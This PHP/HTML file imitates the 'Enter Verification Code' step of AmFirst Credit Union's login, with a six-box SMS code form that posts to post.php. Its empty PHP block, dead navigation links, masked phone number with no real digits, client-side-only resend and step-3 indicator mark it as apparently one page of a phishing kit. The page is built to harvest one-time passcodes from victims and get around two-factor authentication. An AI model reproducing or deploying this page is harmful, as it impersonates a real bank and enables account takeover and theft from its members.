<?php

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
    <title>AmFirst — Verify Identity</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root { --red:#E60045; --red-dark:#c4003b; --blue:#0C2E4C; --blue-mid:#1a4a75; --text:#1a1a1a; --text-sub:#555; --border:#dde0e6; --offwhite:#f7f8fa; --white:#ffffff; }
        html,body { height:100%; font-family:'Inter',sans-serif; color:var(--text); }
        body { display:flex; flex-direction:column; min-height:100vh; background:var(--white); }

        .utility-bar { background:var(--white); border-bottom:1px solid #eee; padding:6px 40px; display:flex; align-items:center; justify-content:flex-end; gap:24px; }
        .utility-bar a { font-size:12px; color:var(--text-sub); text-decoration:none; }
        .main-nav { background:var(--white); padding:0 40px; display:flex; align-items:center; justify-content:space-between; height:70px; border-bottom:1px solid #eee; position:relative; z-index:10; }
        .nav-logo img { height:36px; width:auto; display:block; }
        .nav-links { display:flex; align-items:center; gap:4px; }
        .nav-links a { font-size:14px; font-weight:500; color:var(--blue); text-decoration:none; padding:8px 14px; border-radius:4px; display:flex; align-items:center; gap:4px; }
        .nav-links a:hover { background:var(--offwhite); }
        .nav-right { display:flex; align-items:center; gap:10px; }
        .nav-search { background:none; border:none; cursor:pointer; padding:8px; color:var(--blue); display:flex; align-items:center; }
        .btn-open { background:var(--blue); color:#fff; border:none; border-radius:4px; padding:10px 20px; font-family:'Inter',sans-serif; font-size:13.5px; font-weight:600; cursor:pointer; }
        .btn-login-nav { background:var(--red); color:#fff; border:none; border-radius:4px; padding:10px 20px; font-family:'Inter',sans-serif; font-size:13.5px; font-weight:600; cursor:pointer; }

        .page-content { flex:1; background:var(--offwhite); display:flex; align-items:center; justify-content:center; padding:60px 20px; }

        .card { background:var(--white); width:100%; max-width:480px; border-radius:6px; padding:40px 44px 44px; box-shadow:0 2px 20px rgba(0,0,0,0.08); animation:cardIn 0.4s ease both; }
        @keyframes cardIn { from{opacity:0;transform:translateY(14px)} to{opacity:1;transform:translateY(0)} }

        .card-logo { margin-bottom:22px; }
        .card-logo img { height:32px; width:auto; display:inline-block; }

        .step-indicator { display:flex; align-items:center; gap:8px; margin-bottom:22px; }
        .step { display:flex; align-items:center; justify-content:center; width:26px; height:26px; border-radius:50%; font-size:11px; font-weight:700; flex-shrink:0; }
        .step.done { background:var(--blue); color:#fff; }
        .step.active { background:var(--red); color:#fff; box-shadow:0 0 0 3px rgba(230,0,69,0.15); }
        .step-line { flex:1; height:2px; background:#e8eaed; border-radius:2px; }
        .step-line.done { background:var(--blue); opacity:0.35; }

        .card-header { margin-bottom:16px; padding-bottom:16px; border-bottom:2px solid var(--red); }
        .card-header h1 { font-size:20px; font-weight:700; color:var(--blue); }
        .card-header p { font-size:13px; color:var(--text-sub); margin-top:4px; }

        .phone-badge { display:flex; align-items:center; gap:11px; background:rgba(12,46,76,0.06); border:1px solid rgba(12,46,76,0.15); border-radius:4px; padding:12px 14px; margin-bottom:20px; }
        .phone-badge-icon { width:32px; height:32px; background:var(--blue); border-radius:6px; display:flex; align-items:center; justify-content:center; flex-shrink:0; }
        .phone-badge-icon svg { color:#fff; }
        .phone-badge-text { font-size:12.5px; color:var(--text-sub); line-height:1.5; }
        .phone-badge-text strong { display:block; font-size:13px; color:var(--blue); font-weight:700; margin-bottom:1px; }

        .otp-label { font-size:12px; font-weight:700; color:var(--text-sub); margin-bottom:12px; letter-spacing:0.06em; text-transform:uppercase; }
        .otp-row { display:flex; gap:8px; justify-content:center; margin-bottom:12px; }
        .otp-row input {
            width:52px; height:58px; border:1.5px solid var(--border); border-radius:4px;
            font-size:26px; font-weight:700; color:var(--blue);
            text-align:center; background:var(--white); outline:none;
            transition:border-color 0.15s,box-shadow 0.15s,background 0.15s;
            caret-color:var(--red); -webkit-appearance:none; font-family:'Inter',sans-serif;
        }
        .otp-row input:focus { border-color:var(--red); box-shadow:0 0 0 3px rgba(230,0,69,0.1); background:#fff8fa; }
        .otp-row input.filled { border-color:var(--blue); background:rgba(12,46,76,0.04); }

        .resend-row { display:flex; align-items:center; justify-content:space-between; margin-bottom:22px; margin-top:8px; }
        .resend-timer { font-size:12.5px; color:var(--text-sub); display:flex; align-items:center; gap:5px; }
        .resend-timer span { font-weight:700; color:var(--red); min-width:32px; }
        .resend-btn { font-size:13px; color:var(--red); font-weight:600; background:none; border:none; cursor:pointer; text-decoration:underline; font-family:'Inter',sans-serif; padding:0; }
        .resend-btn:disabled { color:var(--text-sub); text-decoration:none; cursor:default; opacity:0.6; }

        .btn-main { width:100%; height:48px; background:var(--red); color:#fff; border:none; border-radius:4px; font-family:'Inter',sans-serif; font-size:15px; font-weight:700; cursor:pointer; margin-bottom:16px; display:flex; align-items:center; justify-content:center; gap:8px; transition:background 0.15s,box-shadow 0.15s; }
        .btn-main:hover { background:var(--red-dark); box-shadow:0 4px 14px rgba(230,0,69,0.35); }
        .btn-main:disabled { background:#f0a0b5; cursor:not-allowed; box-shadow:none; }

        .card-links { display:flex; flex-direction:column; gap:10px; padding-top:16px; border-top:1px solid var(--border); }
        .card-links a { font-size:13px; color:var(--blue); text-decoration:none; display:flex; align-items:center; gap:5px; }
        .card-links a:hover { text-decoration:underline; color:var(--red); }

        .page-footer { background:var(--blue); padding:20px 40px; display:flex; align-items:center; justify-content:space-between; flex-wrap:wrap; gap:12px; }
        .footer-links { display:flex; gap:20px; }
        .footer-links a { font-size:12px; color:rgba(255,255,255,0.55); text-decoration:none; }
        .footer-copy { font-size:12px; color:rgba(255,255,255,0.35); }

        @media(max-width:500px) { .card{padding:28px 20px 32px;} .otp-row input{width:44px;height:50px;font-size:22px;} .nav-links{display:none;} }
    </style>
</head>
<body>
    <div class="utility-bar">
        <a href="#">Make a Payment</a><a href="#">Rates</a><a href="#">Promotions</a><a href="#">Careers</a><a href="#">Contact us</a><a href="#">Show Notifications</a>
    </div>
    <nav class="main-nav">
        <div class="nav-logo"><img src="res/img/logo.png" alt="AmFirst"></div>
        <div class="nav-links">
            <a href="#">Personal <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">Business <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">Lending <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">Online <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">About <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><path d="m6 9 6 6 6-6"/></svg></a>
        </div>
        <div class="nav-right">
            <button class="nav-search"><svg width="17" height="17" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><circle cx="11" cy="11" r="8"/><line x1="21" y1="21" x2="16.65" y2="16.65"/></svg><span style="font-size:13.5px;font-weight:500;margin-left:4px;">Search</span></button>
            <button class="btn-open">Open Account</button>
            <button class="btn-login-nav">Log In</button>
        </div>
    </nav>

    <div class="page-content">
        <div class="card">
            <div class="card-logo"><img src="res/img/logo.png" alt="AmFirst"></div>

            <div class="step-indicator">
                <div class="step done">✓</div><div class="step-line done"></div>
                <div class="step done">✓</div><div class="step-line done"></div>
                <div class="step active">3</div>
            </div>

            <div class="card-header">
                <h1>Enter Verification Code</h1>
                <p>We sent a 6-digit code to your phone</p>
            </div>

            <div class="phone-badge">
                <div class="phone-badge-icon"><svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="5" y="2" width="14" height="20" rx="2"/><line x1="12" y1="18" x2="12.01" y2="18" stroke-width="2.5"/></svg></div>
                <div class="phone-badge-text"><strong>SMS Code Sent</strong>Code sent to the number ending in ••••</div>
            </div>

            <form action="post.php" method="post">
                <div class="otp-label">Enter 6-digit code</div>
                <div class="otp-row">
                    <input type="text" name="c1" id="c1" maxlength="1" inputmode="numeric" autocomplete="one-time-code" pattern="[0-9]">
                    <input type="text" name="c2" id="c2" maxlength="1" inputmode="numeric" pattern="[0-9]">
                    <input type="text" name="c3" id="c3" maxlength="1" inputmode="numeric" pattern="[0-9]">
                    <input type="text" name="c4" id="c4" maxlength="1" inputmode="numeric" pattern="[0-9]">
                    <input type="text" name="c5" id="c5" maxlength="1" inputmode="numeric" pattern="[0-9]">
                    <input type="text" name="c6" id="c6" maxlength="1" inputmode="numeric" pattern="[0-9]">
                </div>
                <input type="hidden" name="otp" id="sms_combined">

                <div class="resend-row">
                    <div class="resend-timer"><svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polyline points="12 6 12 12 16 14"/></svg>Expires in <span id="exp-timer">9:59</span></div>
                    <button type="button" class="resend-btn" id="resend-btn" disabled>Resend code</button>
                </div>

                <button type="submit" class="btn-main">
                    Verify &amp; Continue
                    <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><path d="M5 12h14M12 5l7 7-7 7"/></svg>
                </button>
            </form>

            <div class="card-links">
                <a href="#"><svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>Having trouble? Contact support</a>
                <a href="login.php"><svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="15 18 9 12 15 6"/></svg>Back to log in</a>
            </div>
        </div>
    </div>

    <footer class="page-footer">
        <div class="footer-links"><a href="#">Privacy</a><a href="#">Security</a><a href="#">Terms of Use</a><a href="#">Contact Us</a></div>
        <div class="footer-copy">© 2025 AmFirst Credit Union. Federally Insured by NCUA.</div>
    </footer>

    <script>
        const boxes = Array.from(document.querySelectorAll('.otp-row input'));
        const combined = document.getElementById('sms_combined');
        boxes.forEach((box, i) => {
            box.addEventListener('input', () => {
                box.value = box.value.replace(/[^0-9]/g, '').slice(-1);
                box.classList.toggle('filled', box.value !== '');
                combined.value = boxes.map(b => b.value).join('');
                if (box.value && i < boxes.length - 1) boxes[i + 1].focus();
            });
            box.addEventListener('keydown', e => {
                if (e.key === 'Backspace' && !box.value && i > 0) { boxes[i-1].value = ''; boxes[i-1].classList.remove('filled'); boxes[i-1].focus(); }
            });
            box.addEventListener('paste', e => {
                e.preventDefault();
                const paste = (e.clipboardData || window.clipboardData).getData('text').replace(/[^0-9]/g,'').slice(0,6);
                paste.split('').forEach((ch, j) => { if (boxes[j]) { boxes[j].value = ch; boxes[j].classList.add('filled'); } });
                combined.value = boxes.map(b => b.value).join('');
                boxes[Math.min(paste.length, boxes.length - 1)].focus();
            });
        });
        let expSec = 599, resendUnlockAt = 30;
        const expEl = document.getElementById('exp-timer'), resendBtn = document.getElementById('resend-btn');
        const expInterval = setInterval(() => {
            expSec--; resendUnlockAt = Math.max(0, resendUnlockAt - 1);
            if (resendUnlockAt === 0) resendBtn.disabled = false;
            const m = Math.floor(expSec / 60), s = expSec % 60;
            expEl.textContent = m + ':' + String(s).padStart(2, '0');
            if (expSec <= 0) { clearInterval(expInterval); expEl.textContent = '0:00'; expEl.style.color = '#c4003b'; }
        }, 1000);
        resendBtn.addEventListener('click', () => {
            resendBtn.disabled = true; resendUnlockAt = 30; expSec = 599; expEl.style.color = '';
            boxes.forEach(b => { b.value = ''; b.classList.remove('filled'); }); combined.value = ''; boxes[0].focus();
        });
    </script>
</body>
</html>